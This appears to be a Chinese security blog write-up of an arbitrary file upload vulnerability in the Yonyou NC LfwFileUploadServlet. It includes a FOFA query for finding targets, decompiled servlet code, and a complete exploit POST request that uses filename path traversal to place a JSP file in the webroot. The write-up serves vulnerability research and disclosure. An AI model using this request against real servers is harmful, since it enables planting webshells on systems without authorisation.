用友NC LfwFileUploadServlet 任意文件上传漏洞


漏洞简介

用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC系统 LfwFileUploadServlet 接口中的 filename 参数缺乏校验导致任意文件上传,可能造成服务器被后门控制。

影响版本

fofa语法

app="用友-UFIDA-NC"

漏洞分析

直接看 nc/uap/lfw/core/servlet/LfwFileUploadServlet.class 对应的业务逻辑实现

package nc.uap.lfw.core.servlet;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.uap.lfw.core.log.LfwLogger;
import nc.uap.lfw.core.serializer.impl.LfwJsonSerializer;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadBase;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import uap.lfw.core.ml.LfwResBundle;

public class LfwFileUploadServlet extends HttpServlet {
    private static final long serialVersionUID = -5347929490268322875L;
    public static final String SERVER_FILE_FOLDER = "d:\\uploadfiles\\";

    public LfwFileUploadServlet() {
    }

    public void init(ServletConfig config) throws ServletException {
        super.init(config);
    }

    public void service(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
        if (!ServletFileUpload.isMultipartContent(req)) {
            throw new IllegalArgumentException(LfwResBundle.getInstance().getStrByID("lfw", "LfwFileUploadServlet-000000"));
        } else {
            try {
                Object result = this.doSaveFiles(req, res);
                if (result != null) {
                    LfwJsonSerializer serializer = LfwJsonSerializer.getInstance();
                    String strResult = serializer.toJsObject(result);
                    req.setAttribute("result", strResult);
                }
            } catch (Exception e) {
                LfwLogger.error(e);
            }

        }
    }

    private Object doSaveFiles(HttpServletRequest req, HttpServletResponse res) throws Exception {
        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(4096);
            File tempPathFile = new File("c:\\temp");
            if (!tempPathFile.exists()) {
                tempPathFile.mkdirs();
            }

            factory.setRepository(tempPathFile);
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setSizeMax(10485760L);
            upload.setHeaderEncoding("UTF-8");
            List fileItems = upload.parseRequest(req);
            Iterator it = fileItems.iterator();
            String regExp = ".+\\\\(.+)$";
            String[] errorType = new String[]{".exe", ".com", ".cgi", ".asp"};
            Pattern p = Pattern.compile(regExp);
            String fileUploadHandler = req.getParameter("handler");
            Map parameterMap = req.getParameterMap();
            List<File> fileList = new ArrayList();
            File folder = new File("d:\\uploadfiles\\");
            if (!folder.exists()) {
                folder.mkdirs();
            }

            while(it.hasNext()) {
                FileItem item = (FileItem)it.next();
                if (!item.isFormField()) {
                    String name = item.getName();
                    String fileName = name;
                    long size = item.getSize();
                    if (name != null && !name.equals("") || size != 0L) {
                        Matcher m = p.matcher(name);
                        boolean result = m.find();
                        if (result) {
                            fileName = m.group(1);
                        }

                        for(int temp = 0; temp < errorType.length; ++temp) {
                            if (fileName.endsWith(errorType[temp])) {
                                throw new IOException(name + ": wrong type");
                            }
                        }

                        String time = this.getTime();
                        fileName = fileName.substring(0, fileName.lastIndexOf(".") - 1) + "_" + time + fileName.substring(fileName.lastIndexOf("."));
                        LfwLogger.debug("get file:" + name);
                        File file = new File("d:\\uploadfiles\\" + fileName);
                        if (!file.exists()) {
                            file.createNewFile();
                        }

                        item.write(file);
                        fileList.add(file);
                    }
                }
            }
        } catch (IOException e) {
            LfwLogger.error(e);
        } catch (FileUploadBase.SizeLimitExceededException e) {
            LfwLogger.error(e);
        } catch (FileUploadException e) {
            LfwLogger.error(e);
        }

        return null;
    }

    private String getTime() {
        Calendar c = Calendar.getInstance();
        String y = String.valueOf(c.get(1));
        String m = this.getRealStringValue(c.get(2));
        String d = this.getRealStringValue(c.get(5));
        String h = this.getRealStringValue(c.get(10));
        String mi = this.getRealStringValue(c.get(12));
        String s = this.getRealStringValue(c.get(13));
        String ms = this.getRealStringValue(14);
        String time = y + m + d + h + mi + s + ms;
        return time;
    }

    private String getRealStringValue(int value) {
        String realValue = String.valueOf(value);
        realValue = realValue.length() == 1 ? "0" + realValue : realValue;
        return realValue;
    }
}

在开头定义了一个静态常量 SERVER_FILE_FOLDER 指定文件上传的目标目录为 d:\uploadfiles\。

接下来就是核心业务逻辑处理 service 方法,这个方法主要是处理文件上传。

调用 doSaveFiles(req, res) 方法处理文件保存的逻辑。

重点看 文件保存逻辑 - doSaveFiles 方法:

  • 设置临时文件目录为 c:\temp,如果目录不存在则创建。
  • 设置最大上传文件大小为 10MB(10485760L)。
  • 然后遍历文件上传列表,通过正则表达式 .+\\\\(.+)$ 提取文件名。
  • 检查文件扩展名是否属于非法类型(如 .exe, .com, .cgi, .asp),如果是则抛出异常。(Java应用你校验这些后缀???)
  • 文件重命名采用时间戳函数 getTime(),而 getTime() 函数为获取当前时间,并格式化为字符串(年、月、日、时、分、秒、毫秒),用于文件重命名。
  • getRealStringValue 函数仅仅是为了处理数字长度,如果数字长度为 1,则在前面补 0(如 1 转为 01),确保时间格式一致。

重点看文件保存,重命名处理如下

String time = this.getTime();
fileName = fileName.substring(0, fileName.lastIndexOf(".") - 1) + "_" + time + fileName.substring(fileName.lastIndexOf("."));
LfwLogger.debug("get file:" + name);
File file = new File("d:\\uploadfiles\\" + fileName);
if (!file.exists()) {
    file.createNewFile();
}

item.write(file);
fileList.add(file);

假设上传的文件名为 test.jsp,处理流程如下

  1. 文件名的初始值
  • 假设上传的文件名为 test.jsp,此时 fileName = "test.jsp"。
  1. fileName.lastIndexOf(".")
  • fileName.lastIndexOf(".") 返回文件名中最后一个 . 的索引。
    • 对于 test.jsp,最后一个 . 的索引是 4(从 0 开始计数)。
  1. fileName.substring(0, fileName.lastIndexOf(".") - 1)
  • fileName.lastIndexOf(".") - 1 的值是 4 - 1 = 3。
  • fileName.substring(0, 3) 表示从文件名的第 0 个字符开始截取到第 3 个字符(不包括第 3 个字符)。
    • 对于 test.jsp,结果是 "tes"。
  1. 时间戳拼接
  • 假设调用 this.getTime() 方法返回的时间戳是 20231010120000123。
  • 拼接时间戳后,文件名变为:
  • "tes" + "_" + "20231010120000123"
  • 结果是 "tes_20231010120000123"。
  1. 文件扩展名拼接
  • fileName.substring(fileName.lastIndexOf(".")):
    • fileName.lastIndexOf(".") 是 4。
    • fileName.substring(4) 表示从索引 4 开始截取到字符串末尾。
    • 对于 test.jsp,结果是 ".jsp"。
  • 拼接扩展名后,最终文件名变为:
  • "tes_20231010120000123" + ".jsp"
  • 结果是 "tes_20231010120000123.jsp"。
  1. 最终保存路径
  • 文件保存路径是通过以下代码生成的:
  • File file = new File("d:\uploadfiles\" + fileName);
  • 将拼接后的文件名 "tes_20231010120000123.jsp" 添加到目录路径 d:\uploadfiles\ 后,最终的文件保存路径为:
  • d:\uploadfiles\tes_20231010120000123.jsp

对于文件名没有校验,那我们可以通过目录穿越上传至 nc_web 目录下即可访问到(需要没有跨盘符,一般是没有跨)。即使用如下 filename ../yonyou/home/webapps/nc_web/test.jsp 那么上传后的文件极可能在 nc_web 目录下的 tes_20231010120000123.jsp 。

漏洞复现

POST /servlet/~ic/nc.uap.lfw.core.servlet.LfwFileUploadServlet HTTP/1.1
Content-Type: multipart/form-data; boundary=123456
Host: nc.mrxn.net

--123456
Content-Disposition: form-data; name="handler"
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

upload_handler
--123456
Content-Disposition: form-data; name="file"; filename="../yonyou/home/webapps/nc_web/1740xxxxxx.jsp"
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: binary

<%\u006f\u0075\u0074.\u0070\u0072\u0069\u006e\u0074("yy"+"ds");%>
--123456--

访问文件 /1740xxxxxx_202xxxxxxxxxxxxx.jsp

成功上传

不过文件名需要爆破时间戳部分

参考

  • https://github.com/ax1sX/SecurityList/blob/main/Java_OA/yongyou_NC_Audit.md
  • https://github.com/Chave0v0/YONYOU-TOOL/blob/main/src/main/java/com/chave/vuln/LfwFileUploadServlet_Upload.java#L131

手机扫码阅读

用友NC importTemplate XML实体注入(XXE)漏洞

DedeCMS V5.7.117(最新版) RCE

评 论